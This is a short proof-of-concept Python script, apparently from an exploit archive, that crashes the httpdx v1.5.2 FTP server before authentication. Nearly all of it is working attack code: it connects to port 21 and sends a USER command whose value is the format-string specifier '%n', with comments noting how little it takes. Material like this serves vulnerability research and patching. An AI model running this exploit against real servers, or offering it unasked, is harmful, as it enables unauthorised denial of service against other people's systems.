# Title: httpdx v1.5.2 Remote Pre-Authentication DoS (PoC crash)# Found by: loneferret# Hat's off to dookie2000ca# Discovered on: 06/02/2010# Software link: http://httpdx.sourceforge.net/downloads/# Tested on: Windows XP SP3 Professional# Nod to the Exploit-DB Team#!/usr/bin/python
import socket
buffer = "\x25\x6e"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('xxx.xxx.xxx.xxx',21))#Remember to put in the server's address
s.recv(1024)
s.send('USER '+ buffer +'\r\n')#yup, doesn't take much does it.
s.recv(1024)#
s.close()#don't really need these, force of habit